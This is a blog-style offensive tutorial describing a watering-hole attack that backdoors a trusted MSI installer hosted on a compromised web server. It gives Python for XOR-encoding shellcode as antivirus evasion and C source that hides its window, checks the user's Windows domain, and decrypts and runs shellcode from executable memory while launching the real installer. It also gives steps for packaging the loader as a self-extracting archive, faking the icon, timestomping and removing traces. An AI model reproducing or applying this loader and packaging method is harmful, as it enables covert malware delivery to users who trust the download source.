A watering hole with Windows binaries
The watering hole
A watering hole attack is an approach which permits us to target specific groups of users. The basic setup is to abuse regular user behaviour via a trusted source. For example, if we gain access to a web server hosting MSI installation files, which we know are downloaded and executed by our target group - we can backdoor these files. The next time this trusted file is downloaded, our backdoor will be executed.
A consideration for this attack is the specific group of users and how to target them. To continue the above example, if we backdoor a file hosted on a public web server, we may want to only target users logged in to specific Windows domains. One way to verify the current domain is via environment variables. Specifically, the USERDOMAIN
variable will contain the user’s current domain. If the current domain is part of our target group - we will execute our malware.
An implementation of this type of pre-execution check is Ebowla which can verify a number of conditions including environment variable values, system time or specific execution paths. The implementation can output python
, powershell
or go
scripts which will execute shellcode when the specific conditions are met. However, when attempting to use this application, the output files resulted in errors during compilation and rather than travel down the go
rabbit hole, I decided it would be easier to implement similar functionality in C
.
Malware requirements
Our malware needs to perform the following:
- Verify whether we are connected to a target domain
- If we are, execute our shellcode
- Either way, continue regular MSI execution
- Masquerade as the original MSI file
Prep work
Before we begin, let’s encrypt our shellcode as a quick and dirty antivirus bypass. Specifically, we can XOR
encode standard shellcode output from CobaltStrike
or Metasploit
.
def xor(shellcode,key):
return "".join("\\x{:02x}".format(ord(shellcode[i]) ^ ord(key[i%len(key)])) for i in range(len(shellcode)))
shellcode = "\x01\x02\x03\x04\x05\x06\x07\x08\x09"
key = "install.msi"
print xor(shellcode, key)
Verify whether we are connected to a target domain
Now we have prepared our shellcode, we can begin creating the malware. To follow the requirements above, firstly we need to verify whether the user is connected to our target domain. By compiling a variable_names
array of domains which we want to target, we can compare the current USERDOMAIN
value using GetEnvironmentVariableA and iterate over each of our target variable_names
- if we have a match execute the shellcode.
If we are, execute our shellcode
Due to the reversible property of XOR
, we can use the same key as defined above to decrypt the shellcode back to its original value and use VirtualAlloc to load the decrypted shellcode directly into memory and subsequently execute it.
Either way, continue regular MSI installation
Once we have performed our checks, we need to launch the original installation file. Launching the original installation file continues normal application behaviour and therefore minimises the likelihood of our backdoor being identified due to abnormal behaviour. The original MSI file can be directly called via a system call.
#include <windows.h>
typedef void(__stdcall* _shellcode)();
unsigned char shellcode[] = "\x68\x6c\x70\x70\x64\x6a\x6b\x26\x64";
char *variable_names[] = { "one", "two", "three", 0 };
char variable_type[] = "USERDOMAIN";
char real_installer[] = "install.msi";
int shellcode_length = 9;
void xor(unsigned char *shellcode) {
for (int i = 0; i < shellcode_length; i++) {
shellcode[i] ^= real_installer[i % strlen(real_installer)];
}
}
void tolower(char *buffer) {
while (*buffer != '\0') {
*buffer = tolower(*buffer);
buffer++;
}
}
int verify_environment() {
const int max_size = 32767;
char buffer[max_size];
if (GetEnvironmentVariableA(variable_type, buffer, max_size)) {
tolower(buffer);
char** ptr = variable_names;
while (*ptr != 0) {
if (strstr(buffer, *ptr) != NULL) {
return 1;
}
++ptr;
}
}
return 0;
}
void main() {
ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0);
system(real_installer);
if (verify_environment()) {
xor(shellcode);
char* payload = (char*)VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(payload, shellcode, sizeof(shellcode));
_shellcode execute = (_shellcode)payload;
execute();
}
}
Masquerade as the original MSI installation file
Finally, we need to bundle our malware with the original MSI file. Once again, a utility exists for this - The Backdoor Factory. However, this application also did not work for me.. I suspect due to the non-standard MSI?
We can take another manual approach to bundle our malware using 7zip:
- Create a 7zip archive named ‘Installer.7z’ containing the above malware (compiled as ‘install.exe’) and original ‘install.msi’ file
- Download version 9.20 of 7zip and extract the ‘7zS.sfx’ modules file, placing it in a folder containing the above ‘Installer.7z’ archive
- Create a new file ‘config.txt’ in the same directory containing the following:
;!@Install@!UTF-8! Title="Installation Setup" RunProgram="install.exe" ;!@InstallEnd@!
- Create the bundled installation archive
copy /b 7zS.sfx + config.txt + Installer.7z install.exe
- Use a utility such as Resource hacker to modify the icon resources to mimic the original MSI package
Cleaning up the watering hole
Now we have created a backdoored version of the file, we can replace the original with the backdoored version (after backing up and timestomping). To control exposure (or if we could lose access), we can automate the process of removing the backdoor after some period of time using a scheduled task:
at 11:00AM /next:Wednesday copy "C:\Windows\Temp\install.msi.back" "D:\web\download\install.msi"